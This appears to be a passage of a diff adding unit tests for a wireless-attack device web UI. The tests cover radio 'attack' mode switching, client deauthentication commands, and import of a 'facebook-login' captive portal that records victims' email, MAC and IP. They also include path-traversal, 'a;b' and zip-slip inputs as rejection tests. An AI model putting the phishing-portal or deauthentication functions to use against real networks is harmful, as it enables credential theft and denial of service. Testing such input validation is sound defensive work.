||||||
|
|
||||||
|
mk8_guard.device_run = fake_run
|
||||||
|
server.device_run = fake_run
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
server.device_run = self.old_server_run
|
||||||
|
server._iface_up = self.old_iface
|
||||||
|
|
||||||
|
def test_recreates_missing_pineapd_section(self):
|
||||||
|
result = mk8_guard.reconcile(clear_pool=False)
|
||||||
|
self.assertIn(['uci', 'add', 'pineapd', 'pineapd'], self.calls)
|
||||||
|
self.assertTrue(any('section recreated' in c for c in result['changed']))
|
||||||
|
sets = [c for c in self.calls if c[:2] == ['uci', 'set']]
|
||||||
|
self.assertEqual(len(sets),
|
||||||
|
len(server.PINEAPD_SAFE_UCI) - 1
|
||||||
|
+ len(mk8_guard.WANTED_EXTRA))
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,84 @@
|
|||||||
|
import os, sys, tempfile, unittest
|
||||||
|
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||||
|
import mk8_profiles
|
||||||
|
|
||||||
|
CONFIGS = ('pineapd', 'wireless', 'network')
|
||||||
|
|
||||||
|
class ProfilesTest(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.dir = tempfile.mkdtemp()
|
||||||
|
mk8_profiles.PROFILES_DIR = os.path.join(self.dir, 'profiles')
|
||||||
|
self.state = {'pineapd': 'config pineapd\n\toption x y\n',
|
||||||
|
'wireless': 'config wireless\n',
|
||||||
|
'network': 'config network\n'}
|
||||||
|
def fake_run(args, timeout=20, input_data=None):
|
||||||
|
a = list(args)
|
||||||
|
if a[:2] == ['uci', 'import']:
|
||||||
|
self.imports = getattr(self, 'imports', [])
|
||||||
|
self.imports.append((a[2], input_data))
|
||||||
|
return (0, '', '')
|
||||||
|
if a[:2] == ['uci', 'export']:
|
||||||
|
return (0, self.state.get(a[2], ''), '')
|
||||||
|
if a[:2] == ['uci', 'commit']:
|
||||||
|
return (0, '', '')
|
||||||
|
return (0, '', '')
|
||||||
|
self.runs = []
|
||||||
|
mk8_profiles.run_cmd = lambda args, timeout=20, input_data=None: (
|
||||||
|
self.runs.append(list(args)) or fake_run(args, timeout, input_data))
|
||||||
|
|
||||||
|
def test_snapshot_and_list(self):
|
||||||
|
self.assertTrue(mk8_profiles.snapshot('testprof'))
|
||||||
|
self.assertIn('testprof', mk8_profiles.list_profiles())
|
||||||
|
|
||||||
|
def test_restore_issues_import_per_config(self):
|
||||||
|
mk8_profiles.snapshot('p1')
|
||||||
|
ok = mk8_profiles.restore('p1')
|
||||||
|
self.assertTrue(ok['ok'])
|
||||||
|
imported = [r for r in self.runs if r[:2] == ['uci', 'import']]
|
||||||
|
self.assertEqual(len(imported), len(CONFIGS))
|
||||||
|
commits = [r for r in self.runs if r[:2] == ['uci', 'commit']]
|
||||||
|
self.assertGreaterEqual(len(commits), 1)
|
||||||
|
self.assertIn(('pineapd', 'config pineapd\n\toption x y\n'),
|
||||||
|
self.imports)
|
||||||
|
self.assertEqual(ok['restored'], list(CONFIGS))
|
||||||
|
|
||||||
|
def test_auto_name_format(self):
|
||||||
|
name = mk8_profiles.auto_name('client_connect')
|
||||||
|
self.assertTrue(name.startswith('pre-client_connect-'))
|
||||||
|
|
||||||
|
def test_promote_lastknown_good(self):
|
||||||
|
self.assertTrue(mk8_profiles.promote_lastknown_good())
|
||||||
|
self.assertIn(mk8_profiles.LASTKNOWN_GOOD,
|
||||||
|
mk8_profiles.list_profiles())
|
||||||
|
again = mk8_profiles.promote_lastknown_good()
|
||||||
|
self.assertTrue(again)
|
||||||
|
|
||||||
|
def test_snapshot_false_when_nothing_written(self):
|
||||||
|
self.state = {}
|
||||||
|
self.assertFalse(mk8_profiles.snapshot('empty'))
|
||||||
|
|
||||||
|
def test_path_rejects_traversal_and_bad_names(self):
|
||||||
|
for bad in ('../x', '..', 'a/b', '', 'a' * 65, './x', 'x/..',
|
||||||
|
'a b', 'a;b', None):
|
||||||
|
with self.assertRaises(ValueError):
|
||||||
|
mk8_profiles._path(bad)
|
||||||
|
|
||||||
|
def test_path_accepts_safe_names(self):
|
||||||
|
for good in ('p', 'pre-client_connect-123', 'lastknown-good',
|
||||||
|
'A.b-c_d', 'x' * 64, '0'):
|
||||||
|
path = mk8_profiles._path(good)
|
||||||
|
self.assertEqual(path, os.path.join(mk8_profiles.PROFILES_DIR,
|
||||||
|
good))
|
||||||
|
|
||||||
|
def test_snapshot_rejects_bad_name_without_side_effects(self):
|
||||||
|
with self.assertRaises(ValueError):
|
||||||
|
mk8_profiles.snapshot('../evil')
|
||||||
|
self.assertEqual(mk8_profiles.list_profiles(), [])
|
||||||
|
|
||||||
|
def test_list_profiles_skips_invalid_dirnames(self):
|
||||||
|
mk8_profiles.snapshot('good')
|
||||||
|
os.mkdir(os.path.join(mk8_profiles.PROFILES_DIR, 'bad name'))
|
||||||
|
self.assertEqual(mk8_profiles.list_profiles(), ['good'])
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
||||||
@@ -0,0 +1,327 @@
|
|||||||
|
import os, sys, unittest
|
||||||
|
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload',
|
||||||
|
'user', 'remote_access', 'pager-webui'))
|
||||||
|
import importlib
|
||||||
|
import server
|
||||||
|
import mk8_rfplan
|
||||||
|
|
||||||
|
|
||||||
|
def setUpModule():
|
||||||
|
importlib.reload(server)
|
||||||
|
|
||||||
|
|
||||||
|
class CtxStub(object):
|
||||||
|
def __init__(self, body=None):
|
||||||
|
self.body = body or {}
|
||||||
|
|
||||||
|
|
||||||
|
class RfPlanTest(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.runs = []
|
||||||
|
self.seq = []
|
||||||
|
self.paused = 0
|
||||||
|
self.resumed = 0
|
||||||
|
self.sleeps = []
|
||||||
|
self.uci_show = {}
|
||||||
|
self.gets = {}
|
||||||
|
self.iw_fail_left = 0
|
||||||
|
self._old = (server.device_run, server._pause_hop,
|
||||||
|
server._resume_hop, server._read_hop,
|
||||||
|
mk8_rfplan.time.sleep)
|
||||||
|
|
||||||
|
def fake_get(key):
|
||||||
|
if key == 'pineapd.wlan1mon.hop':
|
||||||
|
return 0, '0\n', ''
|
||||||
|
return self.gets.get(key, (1, '', 'entry not found'))
|
||||||
|
|
||||||
|
def fake_run(args, timeout=20, input_data=None):
|
||||||
|
args = list(args)
|
||||||
|
self.seq.append('cmd:' + ' '.join(str(a) for a in args))
|
||||||
|
self.runs.append((args, timeout))
|
||||||
|
if args == ['iw', 'dev']:
|
||||||
|
# interface enumeration: radio1 STA comes up as phy1-sta0
|
||||||
|
return 0, ('Interface wlan1mon\n'
|
||||||
|
'\ttype monitor\n'
|
||||||
|
'Interface phy1-sta0\n'
|
||||||
|
'\ttype managed\n'), ''
|
||||||
|
if args[0] == 'readlink' and 'phy80211' in args[1]:
|
||||||
|
return 0, '../../devices/platform/usb/phy1\n', ''
|
||||||
|
if args[0] == 'iw':
|
||||||
|
# iw dev <iface> link
|
||||||
|
if self.iw_fail_left > 0:
|
||||||
|
self.iw_fail_left -= 1
|
||||||
|
return 0, 'Not connected.\n', ''
|
||||||
|
return 0, ('Connected to aa:bb:cc:dd:ee:ff (on wlan1up)\n'
|
||||||
|
'\tSSID: Net\n'), ''
|
||||||
|
if args[:2] == ['uci', 'show']:
|
||||||
|
cfg = self.uci_show.get(args[2])
|
||||||
|
if cfg is None:
|
||||||
|
return 1, '', 'entry not found'
|
||||||
|
out = ''.join("%s.%s='%s'\n" % (args[2], k, v)
|
||||||
|
for k, v in sorted(cfg.items()))
|
||||||
|
return 0, out, ''
|
||||||
|
if args[0] == 'uci' and args[1] == '-q':
|
||||||
|
return fake_get(args[3])
|
||||||
|
if args[:2] == ['uci', 'get']:
|
||||||
|
return fake_get(args[2])
|
||||||
|
return 0, '', ''
|
||||||
|
|
||||||
|
def fake_pause():
|
||||||
|
self.paused += 1
|
||||||
|
self.seq.append('pause')
|
||||||
|
|
||||||
|
def fake_resume():
|
||||||
|
self.resumed += 1
|
||||||
|
self.seq.append('resume')
|
||||||
|
|
||||||
|
server.device_run = fake_run
|
||||||
|
server._pause_hop = fake_pause
|
||||||
|
server._resume_hop = fake_resume
|
||||||
|
server._read_hop = lambda: '0'
|
||||||
|
mk8_rfplan.time.sleep = lambda s: self.sleeps.append(s)
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
(server.device_run, server._pause_hop,
|
||||||
|
server._resume_hop, server._read_hop,
|
||||||
|
mk8_rfplan.time.sleep) = self._old
|
||||||
|
|
||||||
|
@property
|
||||||
|
def cmds(self):
|
||||||
|
return [s[len('cmd:'):] for s in self.seq if s.startswith('cmd:')]
|
||||||
|
|
||||||
|
def mutations(self):
|
||||||
|
return [c for c in self.cmds
|
||||||
|
if c.startswith(('uci set', 'uci commit'))]
|
||||||
|
|
||||||
|
def test_current_role_reads_uci(self):
|
||||||
|
cases = [
|
||||||
|
({'mode': 'sta', 'disabled': '0'}, 'uplink'),
|
||||||
|
({'mode': 'sta', 'disabled': '1'}, 'idle'),
|
||||||
|
({'mode': 'ap'}, 'idle'),
|
||||||
|
({}, 'idle'),
|
||||||
|
]
|
||||||
|
for cfg, want in cases:
|
||||||
|
self.uci_show.clear()
|
||||||
|
self.uci_show['wireless.wlan1up'] = cfg
|
||||||
|
self.assertEqual(mk8_rfplan.current_role(), want, cfg)
|
||||||
|
self.uci_show.clear()
|
||||||
|
self.assertEqual(mk8_rfplan.current_role(), 'idle')
|
||||||
|
|
||||||
|
def test_uplink_sets_sta_section_and_pauses_hop(self):
|
||||||
|
result = mk8_rfplan.set_role('uplink', ssid='Net', psk='key')
|
||||||
|
self.assertTrue(result.get('ok'), result)
|
||||||
|
cmds = self.cmds
|
||||||
|
for expected in (
|
||||||
|
'uci set wireless.wlan1up=wifi-iface',
|
||||||
|
'uci set wireless.wlan1up.device=radio1',
|
||||||
|
'uci set wireless.wlan1up.mode=sta',
|
||||||
|
'uci set wireless.wlan1up.network=cli',
|
||||||
|
'uci set wireless.wlan1up.ssid=Net',
|
||||||
|
'uci set wireless.wlan1up.encryption=sae-mixed',
|
||||||
|
'uci set wireless.wlan1up.key=key',
|
||||||
|
'uci set wireless.wlan1up.disabled=0',
|
||||||
|
'uci set network.cli=interface',
|
||||||
|
'uci set network.cli.proto=dhcp',
|
||||||
|
'uci commit network'):
|
||||||
|
self.assertIn(expected, cmds)
|
||||||
|
commit_net = cmds.index('uci commit network')
|
||||||
|
commit_wireless = cmds.index('uci commit wireless')
|
||||||
|
for c in ('uci set wireless.wlan1up.mode=sta',
|
||||||
|
'uci set wireless.wlan1up.disabled=0',
|
||||||
|
'uci set network.cli=interface',
|
||||||
|
'uci set network.cli.proto=dhcp'):
|
||||||
|
self.assertLess(cmds.index(c), commit_net)
|
||||||
|
self.assertLess(commit_net, cmds.index('uci commit wireless'))
|
||||||
|
self.assertLess(commit_wireless, cmds.index('wifi reload'))
|
||||||
|
self.assertEqual(self.paused, 1)
|
||||||
|
self.assertLess(self.seq.index('pause'),
|
||||||
|
self.seq.index('cmd:wifi reload'))
|
||||||
|
self.assertEqual(result['assoc'], 'aa:bb:cc:dd:ee:ff')
|
||||||
|
|
||||||
|
def test_uplink_enables_present_but_disabled_cli_network(self):
|
||||||
|
self.gets['network.cli'] = (0, 'interface\n', '')
|
||||||
|
self.gets['network.cli.disabled'] = (0, '1\n', '')
|
||||||
|
result = mk8_rfplan.set_role('uplink', ssid='Net')
|
||||||
|
self.assertTrue(result.get('ok'), result)
|
||||||
|
cmds = self.cmds
|
||||||
|
self.assertIn('uci set network.cli.disabled=0', cmds)
|
||||||
|
self.assertIn('uci commit network', cmds)
|
||||||
|
self.assertNotIn('uci set network.cli=interface', cmds)
|
||||||
|
|
||||||
|
def test_assoc_poll_succeeds_on_third_attempt(self):
|
||||||
|
self.iw_fail_left = 2
|
||||||
|
result = mk8_rfplan.set_role('uplink', ssid='Net')
|
||||||
|
self.assertTrue(result.get('ok'), result)
|
||||||
|
self.assertEqual(result['assoc'], 'aa:bb:cc:dd:ee:ff')
|
||||||
|
self.assertEqual(len(self.sleeps), 3)
|
||||||
|
iw_calls = [c for c in self.cmds
|
||||||
|
if c.startswith('iw dev phy1-sta0 link')]
|
||||||
|
self.assertEqual(len(iw_calls), 3)
|
||||||
|
|
||||||
|
def test_assoc_poll_exhaustion_reverts_uplink(self):
|
||||||
|
self.iw_fail_left = 99
|
||||||
|
result = mk8_rfplan.set_role('uplink', ssid='Net')
|
||||||
|
self.assertFalse(result['ok'])
|
||||||
|
self.assertIn('association failed', result['error'])
|
||||||
|
self.assertEqual(len(self.sleeps), 5)
|
||||||
|
self.assertIn('uci set wireless.wlan1up.disabled=1', self.cmds)
|
||||||
|
self.assertEqual(self.resumed, 1)
|
||||||
|
# Revert must converge runtime like the idle branch: a wifi reload
|
||||||
|
# after the STA disable, with hop resumed only after the reload.
|
||||||
|
cmds = self.cmds
|
||||||
|
reloads = [i for i, c in enumerate(cmds) if c == 'wifi reload']
|
||||||
|
self.assertEqual(len(reloads), 2, cmds)
|
||||||
|
disable_set = cmds.index('uci set wireless.wlan1up.disabled=1')
|
||||||
|
last_commit = len(cmds) - 1 - cmds[::-1].index('uci commit wireless')
|
||||||
|
resume_idx = self.seq.index('resume')
|
||||||
|
self.assertLess(disable_set, last_commit)
|
||||||
|
self.assertLess(last_commit, reloads[-1])
|
||||||
|
self.assertLess(reloads[-1], resume_idx)
|
||||||
|
# cmds[i] maps 1:1 onto self.runs[i]; revert reload must be gated.
|
||||||
|
self.assertEqual(self.runs[reloads[-1]], (['wifi', 'reload'], 60))
|
||||||
|
|
||||||
|
def test_set_role_uplink_requires_ssid(self):
|
||||||
|
result = mk8_rfplan.set_role('uplink')
|
||||||
|
self.assertFalse(result['ok'])
|
||||||
|
self.assertIn('ssid', result['error'])
|
||||||
|
self.assertEqual(self.mutations(), [])
|
||||||
|
self.assertEqual(self.paused, 0)
|
||||||
|
|
||||||
|
def test_idle_reloads_so_sta_disassociates_now(self):
|
||||||
|
self.uci_show['wireless.wlan1up'] = {'mode': 'sta', 'disabled': '0'}
|
||||||
|
result = mk8_rfplan.set_role('idle')
|
||||||
|
self.assertTrue(result.get('ok'), result)
|
||||||
|
self.assertIn('uci set wireless.wlan1up.disabled=1', self.cmds)
|
||||||
|
self.assertIn('wifi reload', self.cmds)
|
||||||
|
self.assertEqual(self.resumed, 1)
|
||||||
|
|
||||||
|
def test_exclusivity_switch(self):
|
||||||
|
self.uci_show['wireless.wlan1up'] = {'mode': 'ap'}
|
||||||
|
mk8_rfplan.ensure_attack()
|
||||||
|
self.assertEqual(self.mutations(), [])
|
||||||
|
self.assertEqual(self.resumed, 0)
|
||||||
|
self.assertEqual(self.paused, 0)
|
||||||
|
self.uci_show['wireless.wlan1up'] = {'mode': 'sta', 'disabled': '0'}
|
||||||
|
mk8_rfplan.ensure_attack()
|
||||||
|
cmds = self.cmds
|
||||||
|
self.assertIn('uci set wireless.wlan1up.disabled=1', cmds)
|
||||||
|
self.assertIn('uci commit wireless', cmds)
|
||||||
|
self.assertEqual(self.resumed, 1)
|
||||||
|
|
||||||
|
def test_hop_paused_helper(self):
|
||||||
|
self.assertTrue(mk8_rfplan.hop_paused())
|
||||||
|
server._read_hop = lambda: None
|
||||||
|
self.assertFalse(mk8_rfplan.hop_paused())
|
||||||
|
server._read_hop = lambda: '1'
|
||||||
|
self.assertFalse(mk8_rfplan.hop_paused())
|
||||||
|
|
||||||
|
def test_h_rfplan_get_and_post(self):
|
||||||
|
self.uci_show['wireless.wlan1up'] = {'mode': 'sta', 'disabled': '0'}
|
||||||
|
status, data = server.h_rfplan_get(CtxStub())
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(data['role'], 'uplink')
|
||||||
|
self.assertEqual(data['assoc'], 'aa:bb:cc:dd:ee:ff')
|
||||||
|
self.assertTrue(data['hop_paused'])
|
||||||
|
status, data = server.h_rfplan_post(CtxStub({'role': 'nope'}))
|
||||||
|
self.assertEqual(status, 400)
|
||||||
|
status, data = server.h_rfplan_post(CtxStub({'role': 'idle'}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(data['role'], 'idle')
|
||||||
|
|
||||||
|
def test_ensure_attack_wired_into_attacks_deploy(self):
|
||||||
|
calls = []
|
||||||
|
|
||||||
|
def fake_set_role(role, ssid=None, psk=None):
|
||||||
|
calls.append(role)
|
||||||
|
return {'ok': True, 'role': role}
|
||||||
|
|
||||||
|
self._patch_rfplan(lambda: 'uplink', fake_set_role)
|
||||||
|
old_dep = server._deploy_wpa_open
|
||||||
|
old_state = server.update_pineap_state
|
||||||
|
server._deploy_wpa_open = lambda kind, body: {}
|
||||||
|
server.update_pineap_state = lambda *a, **kw: {}
|
||||||
|
try:
|
||||||
|
status, payload = server.h_attacks_deploy(
|
||||||
|
CtxStub({'kind': 'wpa'}))
|
||||||
|
finally:
|
||||||
|
self._unpatch_rfplan()
|
||||||
|
server._deploy_wpa_open = old_dep
|
||||||
|
server.update_pineap_state = old_state
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(calls, ['attack'])
|
||||||
|
|
||||||
|
def test_attacks_deploy_skips_switch_when_not_uplink(self):
|
||||||
|
calls = []
|
||||||
|
|
||||||
|
def fake_set_role(role, ssid=None, psk=None):
|
||||||
|
calls.append(role)
|
||||||
|
return {'ok': True}
|
||||||
|
|
||||||
|
self._patch_rfplan(lambda: 'idle', fake_set_role)
|
||||||
|
old_dep = server._deploy_wpa_open
|
||||||
|
old_state = server.update_pineap_state
|
||||||
|
server._deploy_wpa_open = lambda kind, body: {}
|
||||||
|
server.update_pineap_state = lambda *a, **kw: {}
|
||||||
|
try:
|
||||||
|
status, _ = server.h_attacks_deploy(CtxStub({'kind': 'wpa'}))
|
||||||
|
finally:
|
||||||
|
self._unpatch_rfplan()
|
||||||
|
server._deploy_wpa_open = old_dep
|
||||||
|
server.update_pineap_state = old_state
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(calls, [])
|
||||||
|
|
||||||
|
def test_ensure_attack_wired_into_radio1_ap_request(self):
|
||||||
|
calls = []
|
||||||
|
|
||||||
|
def fake_set_role(role, ssid=None, psk=None):
|
||||||
|
calls.append(role)
|
||||||
|
return {'ok': True, 'role': role}
|
||||||
|
|
||||||
|
self._patch_rfplan(lambda: 'uplink', fake_set_role)
|
||||||
|
try:
|
||||||
|
status, payload = server.h_pineap_wifi_set_ap(
|
||||||
|
CtxStub({'open': {'enabled': False, 'channel': 36}}))
|
||||||
|
finally:
|
||||||
|
self._unpatch_rfplan()
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(calls, ['attack'])
|
||||||
|
|
||||||
|
def _patch_rfplan(self, current_role, set_role):
|
||||||
|
self._rf_old = (mk8_rfplan.current_role, mk8_rfplan.set_role)
|
||||||
|
mk8_rfplan.current_role = current_role
|
||||||
|
mk8_rfplan.set_role = set_role
|
||||||
|
|
||||||
|
def _unpatch_rfplan(self):
|
||||||
|
mk8_rfplan.current_role, mk8_rfplan.set_role = self._rf_old
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
||||||
|
|
||||||
|
|
||||||
|
class PskModeChainTest(RfPlanTest):
|
||||||
|
def test_chain_tries_next_mode_on_failure(self):
|
||||||
|
# first mode (sae-mixed) never associates; second (sae) does
|
||||||
|
self.iw_fail_left = 5 # fail all link polls of attempt 1
|
||||||
|
result = mk8_rfplan.set_role('uplink', ssid='Net', psk='secret')
|
||||||
|
self.assertTrue(result['ok'], result)
|
||||||
|
self.assertEqual(result['mode'], 'sae')
|
||||||
|
reloads = [c for c in self.cmds if c.startswith('wifi reload')]
|
||||||
|
self.assertEqual(len(reloads), 2)
|
||||||
|
|
||||||
|
def test_chain_exhaustion_reports_modes(self):
|
||||||
|
self.iw_fail_left = 99
|
||||||
|
result = mk8_rfplan.set_role('uplink', ssid='Net', psk='secret')
|
||||||
|
self.assertFalse(result['ok'])
|
||||||
|
self.assertEqual(result['tried_modes'],
|
||||||
|
['sae-mixed', 'sae', 'psk2'])
|
||||||
|
|
||||||
|
def test_first_mode_success_records_mode(self):
|
||||||
|
result = mk8_rfplan.set_role('uplink', ssid='Net', psk='secret')
|
||||||
|
self.assertTrue(result['ok'])
|
||||||
|
self.assertEqual(result['mode'], 'sae-mixed')
|
||||||
|
self.assertIn('uci set wireless.wlan1up.ieee80211w=1', self.cmds)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
||||||
@@ -345,20 +345,24 @@ class GetApReconcileTest(unittest.TestCase):
|
|||||||
404, {'error': 'not found'})
|
404, {'error': 'not found'})
|
||||||
server.device_run = lambda args, timeout=20, input_data=None: (
|
server.device_run = lambda args, timeout=20, input_data=None: (
|
||||||
self.runs.append(list(args)) or (0, '', ''))
|
self.runs.append(list(args)) or (0, '', ''))
|
||||||
|
self._real_exists = os.path.exists
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
os.path.exists = self._real_exists
|
||||||
|
|
||||||
def test_missing_netdev_triggers_wifi_reload(self):
|
def test_missing_netdev_triggers_wifi_reload(self):
|
||||||
server.os.path.exists = lambda p: False
|
os.path.exists = lambda p: False
|
||||||
server.h_pineap_wifi_get_ap(ctx())
|
server.h_pineap_wifi_get_ap(ctx())
|
||||||
self.assertIn(['wifi', 'reload'], self.runs)
|
self.assertIn(['wifi', 'reload'], self.runs)
|
||||||
|
|
||||||
def test_present_netdev_skips_reload(self):
|
def test_present_netdev_skips_reload(self):
|
||||||
server.os.path.exists = lambda p: True
|
os.path.exists = lambda p: True
|
||||||
server.h_pineap_wifi_get_ap(ctx())
|
server.h_pineap_wifi_get_ap(ctx())
|
||||||
self.assertNotIn(['wifi', 'reload'], self.runs)
|
self.assertNotIn(['wifi', 'reload'], self.runs)
|
||||||
|
|
||||||
def test_disabled_section_skips_reload(self):
|
def test_disabled_section_skips_reload(self):
|
||||||
self.uci['wlan1wpa']['disabled'] = '1'
|
self.uci['wlan1wpa']['disabled'] = '1'
|
||||||
server.os.path.exists = lambda p: False
|
os.path.exists = lambda p: False
|
||||||
server.h_pineap_wifi_get_ap(ctx())
|
server.h_pineap_wifi_get_ap(ctx())
|
||||||
self.assertNotIn(['wifi', 'reload'], self.runs)
|
self.assertNotIn(['wifi', 'reload'], self.runs)
|
||||||
|
|
||||||
|
|||||||
@@ -55,7 +55,7 @@ class ClientsTest(unittest.TestCase):
|
|||||||
server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||||
self.assertIn([server.HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_ADD', 'deny', '00:11:22:33:44:55'], calls)
|
self.assertIn([server.HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_ADD', 'deny', '00:11:22:33:44:55'], calls)
|
||||||
# The immediate deauth must use the full bssid/target/channel form.
|
# The immediate deauth must use the full bssid/target/channel form.
|
||||||
self.assertTrue(any(c[:4] == [server.HAK5CMD, 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
|
self.assertTrue(any(c[:4] == [server.HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
|
||||||
'00:11:22:33:44:55'] and c[4] == '6' for c in calls))
|
'00:11:22:33:44:55'] and c[4] == '6' for c in calls))
|
||||||
|
|
||||||
def test_kick_not_associated_still_filters(self):
|
def test_kick_not_associated_still_filters(self):
|
||||||
@@ -86,7 +86,7 @@ class ClientsTest(unittest.TestCase):
|
|||||||
status, payload = server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
status, payload = server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||||
self.assertEqual(status, 200)
|
self.assertEqual(status, 200)
|
||||||
# 5 GHz client -> wlan1mon inject, no _pineap pin needed.
|
# 5 GHz client -> wlan1mon inject, no _pineap pin needed.
|
||||||
self.assertTrue(any(c[:4] == [server.HAK5CMD, 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
|
self.assertTrue(any(c[:4] == [server.HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
|
||||||
'00:11:22:33:44:55'] and c[4] == '149' for c in calls))
|
'00:11:22:33:44:55'] and c[4] == '149' for c in calls))
|
||||||
|
|
||||||
def test_deauth_client_not_associated_502(self):
|
def test_deauth_client_not_associated_502(self):
|
||||||
|
|||||||
@@ -0,0 +1,253 @@
|
|||||||
|
import base64
|
||||||
|
import io
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import shutil
|
||||||
|
import sys
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
import zipfile
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||||
|
import server
|
||||||
|
|
||||||
|
|
||||||
|
def setUpModule():
|
||||||
|
__import__('importlib').reload(server)
|
||||||
|
|
||||||
|
|
||||||
|
def ctx(body=None, args=(), query=None):
|
||||||
|
return type('C', (), {'body': body or {}, 'args': args,
|
||||||
|
'query': query or {}})()
|
||||||
|
|
||||||
|
|
||||||
|
def make_zip(files, top_dir=None):
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, 'w') as zf:
|
||||||
|
for name, data in files.items():
|
||||||
|
zf.writestr((top_dir + '/' if top_dir else '') + name, data)
|
||||||
|
return buf.getvalue()
|
||||||
|
|
||||||
|
|
||||||
|
INDEX_PHP = (b"<?php\n$destination = 'x';\nrequire_once('helper.php');\n?>\n"
|
||||||
|
b'<html><form method="post" action="/captiveportal/index.php">'
|
||||||
|
b'<input type="hidden" name="hostname" value="<?=getClientHostName($_SERVER[\'REMOTE_ADDR\']);?>">'
|
||||||
|
b'<input type="hidden" name="mac" value="<?=getClientMac($_SERVER[\'REMOTE_ADDR\']);?>">'
|
||||||
|
b'<input type="hidden" name="ip" value="<?=$_SERVER[\'REMOTE_ADDR\'];?>">'
|
||||||
|
b'<input type="hidden" name="target" value="<?=$destination?>">'
|
||||||
|
b'<input name="email"></form></html>')
|
||||||
|
META_EP = json.dumps({'name': 'facebook-login', 'type': 'basic'}).encode()
|
||||||
|
|
||||||
|
|
||||||
|
class PortalsTest(unittest.TestCase):
|
||||||
|
def setUp(self):
|
||||||
|
self.tmp = tempfile.mkdtemp(prefix='mk8-portals-test-')
|
||||||
|
self.old = (server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE,
|
||||||
|
server.PORTAL_CAPTURES_FILE)
|
||||||
|
server.PORTALS_DIR = self.tmp
|
||||||
|
server.PORTAL_ACTIVE_FILE = os.path.join(self.tmp, '.active')
|
||||||
|
server.PORTAL_CAPTURES_FILE = os.path.join(self.tmp, 'captures.jsonl')
|
||||||
|
server._portal_set_active(None)
|
||||||
|
self.hijacks = []
|
||||||
|
server._portal_dns_hijack = (
|
||||||
|
lambda enable: self.hijacks.append(enable))
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
server.PORTALS_DIR, server.PORTAL_ACTIVE_FILE, \
|
||||||
|
server.PORTAL_CAPTURES_FILE = self.old
|
||||||
|
shutil.rmtree(self.tmp, ignore_errors=True)
|
||||||
|
|
||||||
|
# ---- import ----
|
||||||
|
|
||||||
|
def test_import_flat_zip(self):
|
||||||
|
status, payload = server.h_portals_import(ctx({
|
||||||
|
'name': 'my-portal',
|
||||||
|
'data': base64.b64encode(make_zip({
|
||||||
|
'index.php': INDEX_PHP, 'assets/style.css': b'body{}'})).decode()}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(payload['name'], 'my-portal')
|
||||||
|
root = os.path.join(self.tmp, 'my-portal')
|
||||||
|
self.assertTrue(os.path.isfile(os.path.join(root, 'index.php')))
|
||||||
|
self.assertTrue(os.path.isfile(os.path.join(root, 'assets', 'style.css')))
|
||||||
|
|
||||||
|
def test_import_nested_top_dir_flattens_and_uses_ep_name(self):
|
||||||
|
status, payload = server.h_portals_import(ctx({
|
||||||
|
'data': base64.b64encode(make_zip({
|
||||||
|
'index.php': INDEX_PHP, 'MyPortal.php': b'<?php ?>',
|
||||||
|
'facebook-login.ep': META_EP},
|
||||||
|
top_dir='facebook-login')).decode()}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(payload['name'], 'facebook-login')
|
||||||
|
root = os.path.join(self.tmp, 'facebook-login')
|
||||||
|
self.assertTrue(os.path.isfile(os.path.join(root, 'index.php')))
|
||||||
|
self.assertFalse(os.path.isdir(os.path.join(root, 'facebook-login')))
|
||||||
|
|
||||||
|
def test_import_rejects_missing_index_php(self):
|
||||||
|
status, payload = server.h_portals_import(ctx({
|
||||||
|
'name': 'bad', 'data': base64.b64encode(make_zip(
|
||||||
|
{'only.css': b'body{}'})).decode()}))
|
||||||
|
self.assertEqual(status, 400)
|
||||||
|
|
||||||
|
def test_import_rejects_zip_slip(self):
|
||||||
|
evil = make_zip({'index.php': INDEX_PHP})
|
||||||
|
# Hand-build a zip with an unsafe entry.
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, 'w') as zf:
|
||||||
|
zf.writestr('index.php', INDEX_PHP)
|
||||||
|
